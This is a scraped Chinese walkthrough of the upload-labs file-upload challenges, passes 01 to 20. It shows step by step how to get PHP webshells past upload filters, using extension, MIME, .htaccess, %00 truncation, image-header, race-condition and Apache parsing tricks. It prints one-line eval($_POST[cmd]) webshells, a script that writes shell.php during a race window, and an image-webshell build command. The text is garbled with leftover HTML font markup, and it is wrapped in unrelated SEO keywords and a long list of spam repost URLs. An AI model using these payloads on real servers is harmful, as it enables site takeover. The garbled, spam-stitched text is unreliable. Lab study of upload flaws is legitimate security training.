网站需要更新的频率,搜索引擎优化实验报告,可以免费下载ppt模板的网站,网站登录后台地址前端校验绕过#xff1a;pass 01 两种思路#xff1a;1.通过抓包#xff0c;修改后缀 2.前端禁用js绕过前端后缀检验 首先写一个木马#xff0c;改为图片格式GIF89a?php eval($_POST[cmd])?抓包之后改为PHP格式#xff1a; 使用蚁剑连接木马#xff0c;第一次尝…前端校验绕过pass 01 两种思路1.通过抓包修改后缀 2.前端禁用js绕过前端后缀检验 首先写一个木马改为图片格式GIF89a?php eval($_POST[cmd])?抓包之后改为PHP格式 使用蚁剑连接木马第一次尝试一直是返回数据为空原因是没有链接到木马于是寻找木马地址在抓包返回的页面里查看js源码得到木马地址连接成功可以进入后台后台后面不再显示 前端绕过pass 02 1. 可以看到源码仅仅对文件的后缀名进行了检验if (($_FILES[upload_file][type] image/jpeg) || ($_FILES[upload_file][type] image/png) || ($_FILES[upload_file][type] image/gif)) 因此做法同第一题所述方法一致不再演示前端后缀名绕过pass 03 1. 第三关增加了对于上传的图片文件的后缀检查如果是php asp等均不可行但是由于phtml也可以服务器正确解析为PHP于是乎可以利用phtml进行绕过上传文件操作与之前类似只需要将后缀改为phtml即可pass 04:通过htacess文件使得png文件被解析为PHP文件 首先上传木马通过bp修改后缀上传图片马上传htacess配置文件同样首先是将png后缀改为正常后缀返回使用蚁剑 链接木马得到 pass 05:大小写绕过 可以看到这道题的源码里面过滤了很多组合但是没有过过滤纯大写组合于是可以通过PHP后缀来绕过通过bp抓包将后缀改为PHP于是可以看到成功上传但是这里的地址注意后端重新改写了文件的地址要通过查看文件内容查看通过蚁剑进行连接 pass 06空格绕过 这里将大小写过滤了那就不能通过大小写过滤了于是想想其他方法试试user.ini 文件先上传一个user.ini文件修改后缀png为正常后缀在上传一个图片马接下来查看上传图片马的位置通过蚁剑进行访问这里没有成功也就跟换方法查看这一关的代码与上一关进行对比发现少了一个去空格处理那么我们就可以通过在文件后缀名添加空格进行解决不要直接修改文件后缀名系统会自动去除要在bp里面去除后面通过蚁剑连接即可 pass 07.绕过过滤 观察源码可以发现这里没有对点号进行删除那么只需要在文件末尾加点号即可绕过进入后台 pass 08:::$DATA 拓展名绕过 分析代码发现少了一行没有$file_ext str_ireplace(::$DATA, , $file_ext);//去除字符串::$DATA由于这个:: D A T A 是一个特殊字段通常可以通过添加在文件拓展名后面绕过对文件拓展名的检验 ‘ ∗ ∗ 在 w i n d o w s 环境下不光会自动去除文件末尾的点和空格同时 ( : : DATA是一个特殊字段通常可以通过添加在文件拓展名后面绕过对文件拓展名的检验**在windows环境下不光会自动去除文件末尾的点和空格同时(:: DATA是一个特殊字段通常可以通过添加在文件拓展名后面绕过对文件拓展名的检验‘∗∗在windows环境下不光会自动去除文件末尾的点和空格同时(::DATA)这个字符串windows也会认为是非法字符默认去除掉即直接原名php******那么就可以通过bp抓包添加后缀::$DATA来解决之后连接直接去除后缀即可 pass 09代码审计 由于这里只过滤一次点号那么就可以使用两个.来进行绕过由于删除.之后还会对点号后的后缀内容进行检验于是我们在最后一个添加的点号那里进行添加空格再加一个点号就可以绕过于是将bp抓包后缀修改为PHP. .后面蚁剑连接即可 pass 10 核心漏洞这里就可以通过双写绕过于是可以通过bp修改后缀为pphphp得到10.php蚁剑连接 pass 11: 漏洞描述白名单过滤文件保存目录可控核心代码
if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);$file_ext substr($_FILES[upload_file][name],strrpos($_FILES[upload_file][name],.)1);if(in_array($file_ext,$ext_arr)){$temp_file $_FILES[upload_file][tmp_name];$img_path $_GET[save_path]./.rand(10, 99).date(YmdHis)...$file_ext;if(move_uploaded_file($temp_file,$img_path)){$is_upload true;} else {$msg 上传出错;}2. 逐句解析font stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$ext_arr/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);/fontfont stylecolor:rgb(215, 58, 73);background-color:rgb(250, 250, 250);array/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);jpg/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);,/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);png/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);,/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);gif/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250););/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);这里设置白名单表示后缀允许的范围/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$file_ext/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);substr/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$_FILES/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);[/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);upload_file/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);][/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);name/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);],/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);strrpos/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$_FILES/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);[/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);upload_file/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);][/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);name/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);],/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);)/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);/fontfont stylecolor:rgb(0, 92, 197);background-color:rgb(250, 250, 250);1/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250););/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);这句首先整体上是一个字符串截取/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);substr/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);源字符串是从全局数组$_FILES中寻找所有上传文件的名字从最后一个点号之后的位置加1截取这个位置之后的字符串也就是获取拓展名/fontfont stylecolor:rgb(215, 58, 73);background-color:rgb(250, 250, 250);if/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);in_array/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$file_ext/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);,/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$ext_arr/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);))/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);判断获取的拓展名在不在白名单里面在php中上传一个文件之后PHP会在服务器上面临时储存这个文件/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$temp_file/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$_FILES/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);[/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);upload_file/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);][/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);tmp_name/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);];/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);这句访问临时文件文件名并且将其赋值给一个新的临时文件名一般后面都会进行移动到一个更为持久的位置/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$img_path/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$_GET/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);[/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);save_path/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);]/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);//fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);rand/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(0, 92, 197);background-color:rgb(250, 250, 250);10/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);,/fontfont stylecolor:rgb(0, 92, 197);background-color:rgb(250, 250, 250);99/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);)/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);date/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);YmdHis/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);)/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$file_ext/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);;/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);这里就是先生成一个文件路径根据种子值随机生成/fontfont stylecolor:rgb(215, 58, 73);background-color:rgb(250, 250, 250);if/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);move_uploaded_file/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$temp_file/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);,/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$img_path/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);))/fontfont stylecolor:#000000;background-color:rgb(250, 250, 250);判断文件是否成功移动到$img_path。代码解析结束分析漏洞/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$img_path/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$_GET/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);[/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);save_path/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);]/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);//fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);rand/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(0, 92, 197);background-color:rgb(250, 250, 250);10/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);,/fontfont stylecolor:rgb(0, 92, 197);background-color:rgb(250, 250, 250);99/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);)/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);date/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);YmdHis/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);)/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);./fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$file_ext/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);;/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);这里使用了白名单过滤并且保存路径可控保存路径为get参数加/加随机数文件名于是可以通过%00截断用在url中原理由于windows系统使用C语言编写的c语言读取字符串会以null为结束符例如111.php%00afdf在url中只会读取到111.php由于保存路径可控那么我们就可以通过%00截断让后面的路径无效于是结题步骤如下/font
3. font stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);上传图片马bp抓包改get参数/fontpass 12 漏洞描述白名单过滤文件保存目录可控本题寓上一题类似将get改为了post于是我们需要将参数改为post上传由于不是在url中那么就设置为1.php0x00但是这样会发现有问题于是查看了大佬的wp要在bp里面进行修改0x00不可见 pass 13 漏洞描述结合文件包含漏洞通过图片文件头绕过核心代码
function getReailFileType($filename){$file fopen($filename, rb);//文件的前几个字节即文件的魔术数字$bin fread($file, 2); //只读2字节fclose($file);//关闭文件$strInfo unpack(C2chars, $bin);//使用 unpack() 函数将读取的 2 字节数据 $bin 解包为一个数组。解包格式 C2chars 表示将数据解包成两个无符号字符C并将其存储在 chars1 和 chars2 索引中。 $typeCode intval($strInfo[chars1].$strInfo[chars2]); //j将两个无符号数转换为整数 $fileType ;//创建文件类型变量用于记录文件拓展名 switch($typeCode){ case 255216: $fileType jpg;//如果 $typeCode 等于 255216代表 JPEG 文件的魔术数字则将 $fileType 赋值为 jpg。break;case 13780: $fileType png;//如果 $typeCode 等于 13780代表 PNG 文件的魔术数字则将 $fileType 赋值为 png。break; case 7173: $fileType gif;//如果 $typeCode 等于 7173代表 GIF 文件的魔术数字则将 $fileType 赋值为 gif。break;default: $fileType unknown;} return $fileType;
}
2. 漏洞剖析题目要求还给了提示要用文件包含漏洞根据题目要求我们应该上传文件头属于这三种问价对应的文件头才可以于是这里才是真正的图片马首先写好一个PHP文件然后通过十六进制文本编辑器修改文件头这里修改为png的文件头我们上传之后发现使用意见链接但是无效于是看到题目提示说是可以利用文件包含漏洞于是我们进去之后发现要get一个参数include函数会将其文件已php的形式解析于是我们上传get参数[http://d293a590-362b-479c-b288-7d2ad1c05702.node5.buuoj.cn:81/include.php?file./upload/3820250302115650.png](http://d293a590-362b-479c-b288-7d2ad1c05702.node5.buuoj.cn:81/include.php?file./upload/3820250302115650.png)成功连接蚁剑进入后台
3. 知识点常见文件格式的文件头字节标识pass 14:图片马绕过 漏洞描述图片马文件包含漏洞
function isImage($filename){$types .jpeg|.png|.gif;if(file_exists($filename)){$info getimagesize($filename);
//使用getimagesize函数获取文件名对应的文件信息其执行流程首先查看文件头然后判断后面的字节是否符合图片内容不符合直接返回false它可以从图像文件中提取出多个信息包括图像的宽度、高度、类型、MIME 类型和额外的文件属性等。返回类型是一个数组宽度: 图像的宽度以像素为单位
// 高度: 图像的高度以像素为单位
// 组件类型: 图像的类型使用常量表示如 IMAGETYPE_JPEG、IMAGETYPE_PNG 等
// MIME 类型: 图像的 MIME 类型字符串例如 image/jpeg 或 image/png
// 其他信息如图像的颜色深度等
//例如Array
// (
// [0] 800 // 宽度
// [1] 600 // 高度
// [2] 2 // 图像类型jpeg
// [3] width800 height600 // 用于HTML的字符串
// [mime] image/jpeg // MIME类型
// )$ext image_type_to_extension($info[2]);//返回数组下标为2对应的图片类型if(stripos($types,$ext)0){return $ext;//如果在白名单数组里面即可成功绕过}else{return false;}}else{return false;}
}2. 这里主要要font stylebackground-color:#1DC0C9;绕过的函数为getimagesize函数由于其会对文件内容进行解析/font于是我们就不能单纯的修改文件头要重新生成图片马使用copy命令将php木马加到图片后面copy 有点意思.jpg/b1.php hack.jpg---注意一定不要用命令行打开要用cmd打开生成一个hack.jpg的文件使用这个来进行文件包含即可使用蚁剑连接
3. 可以看出getimagesize函数其实并不是很严格webp后缀也成功了pass 15 核心源码
function isImage($filename){//需要开启php_exif模块$image_type exif_imagetype($filename);switch ($image_type) {case IMAGETYPE_GIF:return gif;break;case IMAGETYPE_JPEG:return jpg;break;case IMAGETYPE_PNG:return png;break; default:return false;break;}
}
2. 函数exif_imagetype函数会更加严格判断也会更快这里就要使用更加纯正的jpg文件了于是我们生成图片马copy haha.jpg/b1.php hack.jpg通过文件包含漏洞结合蚁剑连接即可。
3. 知识点函数exif_imagetype返回值也是一个数字这个函数从给定的文件中读取图像的头信息返回一个常量值数字这个常量表示图像的类型例如 JPEG、PNG 或 GIF 等。 pass 16:二次渲染绕过 漏洞描述服务器对图片马进行了一次渲染过后不会对其进行二次渲染题目核心代码
if(($fileext jpg) ($filetypeimage/jpeg)){if(move_uploaded_file($tmpname,$target_path)){//使用上传的图片生成新的图片这里会对文件的一部分字节进行改写也就是渲染$im imagecreatefromjpeg($target_path);if($im false){$msg 该文件不是jpg格式的图片;unlink($target_path);3. 绕过方案1. 一种是通过源文件和上传到服务器的文件进行对比发现大部分一样的地方就是服务器渲染的时候会保留的字节于是只需要在这一部分进行插入一句话木马2. 另一种是对服务器上传的图片进进行二次渲染进行对比同样的地方插入一句话木马
4. 操作演示生成图片马找相同的位置进行木马插入上传进行文件包含即可利用蚁剑进行连接pass 17 漏洞描述对上传文件的处理是先移动再判断文件名是否合法那么就可以利用移动到删除这 时间差进行竞争赶在删除之前进行访问从而让小马成功生成。审计代码
if(isset($_POST[submit])){$ext_arr array(jpg,png,gif);//白名单$file_name $_FILES[upload_file][name];//得到文件名$temp_file $_FILES[upload_file][tmp_name];//临时文件名$file_ext substr($file_name,strrpos($file_name,.)1);//得到后缀不带.$upload_file UPLOAD_PATH . / . $file_name;//得到上传路径
//这里文件已经上传到服务器上服务器会判断文件是否合法不合法的话会对文件进行删除操作下面进行判断文件类型是否在白名单里面if(move_uploaded_file($temp_file, $upload_file)){//是否将临时文件移动到上传文件目录里if(in_array($file_ext,$ext_arr)){$img_path UPLOAD_PATH . /. rand(10, 99).date(YmdHis)...$file_ext;rename($upload_file, $img_path);$is_upload true;}else{$msg 只允许上传.jpg|.png|.gif类型文件;unlink($upload_file);}}else{$msg 上传出错;}
}
3. 这里有一个点对于任意类型的文件上传到服务器上的话服务器都会先将其保存为临时文件在对文件进行判断如果文件合法的话则不会删除不合法就会删除这个临时文件存在一个极小的生命周期如果能在被删除之前访问就可以利用临时文件
4. 于是我们要上传一个木马上去但是在利用的时候文件会被校验到于是我们需要写一个木马使得其能在这段极小的时间以内执行写一段生成小马的php代码保存为create.php?php fputs(fopen(shell.php,w));php eval($_POST[cmd])?也可以使用font stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);?/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);php/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$str/fontfont stylecolor:rgb(225, 0, 35);background-color:rgb(250, 250, 250);/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);GIF89a ?php eval($_POST[cmd]); ?/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);;/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);file_put_contents/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);(/fontfont stylecolor:rgb(102, 153, 0);background-color:rgb(250, 250, 250);mama.php/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250);,/fontfont stylecolor:rgb(35, 41, 48);background-color:rgb(250, 250, 250);$str/fontfont stylecolor:rgb(38, 38, 38);background-color:rgb(250, 250, 250););/fontfont stylecolor:rgb(31, 127, 154);background-color:rgb(250, 250, 250);?/font
5. fopen(shell.php, w): 这个函数试图以写入模式打开一个名为 shell.php 的文件。如果这个文件不存在则会创建一个新文件。
fputs(...): 这个函数用于将数据写入到文件中。这里它的参数尚不完整因为 fputs 需要两个参数文件句柄和要写入的数据。
php eval($_POST[cmd]): 这部分代码意图是生成一段 PHP 代码内容是
?php eval($_POST[cmd]); ?5. 上传create.php文件并且使用bp抓包短时间内多次上传然后访问create.php文件再次抓包多次访问两者进行竞争最终一旦访问成功就会在服务器生成一个shell.php文件在用蚁剑连接即可pass 18 漏洞描述这个题目也是先判断文件后缀是否合法然后再对文件进行重新命名于是仍然可以利用Apache解析漏洞和条件竞争进行绕过。题目核心代码
**/检查文件是否被上传function upload( $dir ){$ret $this-isUploadedFile();if( $ret ! 1 ){return $this-resultUpload( $ret );}
//文件目录是否被设置$ret $this-setDir( $dir );if( $ret ! 1 ){return $this-resultUpload( $ret );}
//检验文件后缀名$ret $this-checkExtension();if( $ret ! 1 ){return $this-resultUpload( $ret );}
//检验文件大小$ret $this-checkSize();if( $ret ! 1 ){return $this-resultUpload( $ret ); }// if flag to check if the file exists is set to 1//检验这类文件是否存在 if( $this-cls_file_exists 1 ){$ret $this-checkFileExists();if( $ret ! 1 ){return $this-resultUpload( $ret ); }}// if we are here, we are ready to move the file to destination
//移动文件$ret $this-move();if( $ret ! 1 ){return $this-resultUpload( $ret ); }// check if we need to rename the file
//对class_rename_file是否为1如果是那么就对其重命名返回其状态码如果不是1的话那么就返回上传结果状态码if( $this-cls_rename_file 1 ){$ret $this-renameFile();if( $ret ! 1 ){return $this-resultUpload( $ret ); }}// if we are here, everything worked as planned :)
//成功return $this-resultUpload( SUCCESS );}3. 通过这里我们可以分析到整个上传文件的方法是先判断文件后缀是否合法这里仅仅只是获得文件的最后哦一个后缀然后检验合法之后再对齐进行文件重命名操作但是重命名的话就直接是最后一个后缀名时间戳的方式我们可以利用上传文件到重命名的时间差进行访问文件我们知道Apache解析文件的时候会对文件后缀从右往左进行解析那么我们只需要使用一个Apache解析不了的文件让他往左进行从而执行PHP代码比如生成一个小马之类的。
4. 开干先写一个能生成小马的文件generate.php?php
$strGIF89a
?php eval($_POST[cmd]); ?;
file_put_contents(mama.php,$str);
?5. 然后将其后缀抓包修改为php.ppt,多次上传然后进行访问两个同时进行然后再设置不同的线程访问线程可以大一些上传直到访问线程出现200 连接:pass 19 漏洞描述apache解析漏洞Apache在解析文件后缀的时候如果有多个后缀的话会从右往左进行解析如果最右边的无法进行解析那么就将继续往左例如muma.php.7z,如果Apache某些特定版本无法识别那么就会继续向左解析为PHP文件审计代码发现他是这样的先对文件后缀名进行合法化检验如果不在黑名单里面就对文件进行移动这里的文件保存名字很危险是可以用户自己设置的于是乎就可以利用Apache文件解析漏洞上传多后缀的文件名 造成解析问题然后让PHP代码进行执行。于是我们上传一句话木马首先将木马的后缀名字改为jpg然后将文件进行上传在进行保存的时候将文件保存名字改为.php.jpg后面进行访问蚁剑连接成功 pass 20 漏洞描述绕过数组后缀的判定执行PHP代码题目核心代码分析第一块主要内容是判断保存文件名是否进行传值如果进行了传值那么就将文件名变量设置为保存文件名第二块如果文件名变量不是一个数组的话就通过句号进行分割并将其转换为一个数组第三块也是最重要的一块文件最终的名字保存为数组中第一个元素和有效元素位置 -1位置的元素的结合**font stylecolor:rgb(251, 71, 135);background-color:rgb(242, 247, 255);reset($file)/font**: 这个函数将数组 font stylecolor:rgb(251, 71, 135);$file/font 的内部指针重置到数组的第一个元素并返回该值。 漏洞的位置在第三个方框那里count函数的意思是返回数组中不为空null的元素的个数那么就可以利用这个来进行绕过$ext得到的数组最后一个元素。基于此我们可以通过这样的方法绕过 上传文件名比实际文件后缀名要多并且最后一个文件后缀为jpg或者其他白名单里面的就可以这样有效位置-1 就为null这时只要将文件名数组的第一位设置为php.即可由于服务器在解析的时候会自动删除. 这样就可绕过对不是数组后缀的处理。步骤先上传一句话木马然后进行抓包这里修改了content_type的原因是绕过前面的meme类型判断返回显示文件上传成功进行访问使用蚁剑连接是OK的 文章转载自: http://www.morning.zylzk.cn.gov.cn.zylzk.cn http://www.morning.jpgfx.cn.gov.cn.jpgfx.cn http://www.morning.xltwg.cn.gov.cn.xltwg.cn http://www.morning.qbjrl.cn.gov.cn.qbjrl.cn http://www.morning.sypby.cn.gov.cn.sypby.cn http://www.morning.dpdns.cn.gov.cn.dpdns.cn http://www.morning.zwtp.cn.gov.cn.zwtp.cn http://www.morning.frllr.cn.gov.cn.frllr.cn http://www.morning.wplbs.cn.gov.cn.wplbs.cn http://www.morning.jcfg.cn.gov.cn.jcfg.cn http://www.morning.zxybw.cn.gov.cn.zxybw.cn http://www.morning.pjyrl.cn.gov.cn.pjyrl.cn http://www.morning.bbtn.cn.gov.cn.bbtn.cn http://www.morning.xbnkm.cn.gov.cn.xbnkm.cn http://www.morning.mygbt.cn.gov.cn.mygbt.cn http://www.morning.jmllh.cn.gov.cn.jmllh.cn http://www.morning.wzyfk.cn.gov.cn.wzyfk.cn http://www.morning.yhdqq.cn.gov.cn.yhdqq.cn http://www.morning.ktnmg.cn.gov.cn.ktnmg.cn http://www.morning.glkhx.cn.gov.cn.glkhx.cn http://www.morning.yznsx.cn.gov.cn.yznsx.cn http://www.morning.kdlzz.cn.gov.cn.kdlzz.cn http://www.morning.rgqnt.cn.gov.cn.rgqnt.cn http://www.morning.hblkq.cn.gov.cn.hblkq.cn http://www.morning.wpwyx.cn.gov.cn.wpwyx.cn http://www.morning.ndzhl.cn.gov.cn.ndzhl.cn http://www.morning.xjnjb.cn.gov.cn.xjnjb.cn http://www.morning.knnc.cn.gov.cn.knnc.cn http://www.morning.nafdmx.cn.gov.cn.nafdmx.cn http://www.morning.kqbwr.cn.gov.cn.kqbwr.cn http://www.morning.mlntx.cn.gov.cn.mlntx.cn http://www.morning.xkyqq.cn.gov.cn.xkyqq.cn http://www.morning.gmswp.cn.gov.cn.gmswp.cn http://www.morning.yrngx.cn.gov.cn.yrngx.cn http://www.morning.sacxbs.cn.gov.cn.sacxbs.cn http://www.morning.lrplh.cn.gov.cn.lrplh.cn http://www.morning.ttaes.cn.gov.cn.ttaes.cn http://www.morning.bgygx.cn.gov.cn.bgygx.cn http://www.morning.gslz.com.cn.gov.cn.gslz.com.cn http://www.morning.wyrkp.cn.gov.cn.wyrkp.cn http://www.morning.mjyrg.cn.gov.cn.mjyrg.cn http://www.morning.sypby.cn.gov.cn.sypby.cn http://www.morning.wqcz.cn.gov.cn.wqcz.cn http://www.morning.xnfg.cn.gov.cn.xnfg.cn http://www.morning.lfdzr.cn.gov.cn.lfdzr.cn http://www.morning.gpnfg.cn.gov.cn.gpnfg.cn http://www.morning.bljcb.cn.gov.cn.bljcb.cn http://www.morning.lfmwt.cn.gov.cn.lfmwt.cn http://www.morning.lcdtb.cn.gov.cn.lcdtb.cn http://www.morning.yhsrp.cn.gov.cn.yhsrp.cn http://www.morning.yfcbf.cn.gov.cn.yfcbf.cn http://www.morning.bzlfw.cn.gov.cn.bzlfw.cn http://www.morning.lanyee.com.cn.gov.cn.lanyee.com.cn http://www.morning.prgdy.cn.gov.cn.prgdy.cn http://www.morning.kcbml.cn.gov.cn.kcbml.cn http://www.morning.lctrz.cn.gov.cn.lctrz.cn http://www.morning.ksbmx.cn.gov.cn.ksbmx.cn http://www.morning.dxqfh.cn.gov.cn.dxqfh.cn http://www.morning.pzbqm.cn.gov.cn.pzbqm.cn http://www.morning.lbqt.cn.gov.cn.lbqt.cn http://www.morning.bnlch.cn.gov.cn.bnlch.cn http://www.morning.yzmzp.cn.gov.cn.yzmzp.cn http://www.morning.mmxnb.cn.gov.cn.mmxnb.cn http://www.morning.hmqmm.cn.gov.cn.hmqmm.cn http://www.morning.twhgn.cn.gov.cn.twhgn.cn http://www.morning.wspjn.cn.gov.cn.wspjn.cn http://www.morning.xbhpm.cn.gov.cn.xbhpm.cn http://www.morning.rpzqk.cn.gov.cn.rpzqk.cn http://www.morning.ryznd.cn.gov.cn.ryznd.cn http://www.morning.cykqb.cn.gov.cn.cykqb.cn http://www.morning.ktmpw.cn.gov.cn.ktmpw.cn http://www.morning.ffgbq.cn.gov.cn.ffgbq.cn http://www.morning.mprtj.cn.gov.cn.mprtj.cn http://www.morning.zmyhn.cn.gov.cn.zmyhn.cn http://www.morning.fykrm.cn.gov.cn.fykrm.cn http://www.morning.wwznd.cn.gov.cn.wwznd.cn http://www.morning.fpyll.cn.gov.cn.fpyll.cn http://www.morning.tknqr.cn.gov.cn.tknqr.cn http://www.morning.rdbj.cn.gov.cn.rdbj.cn http://www.morning.brnwc.cn.gov.cn.brnwc.cn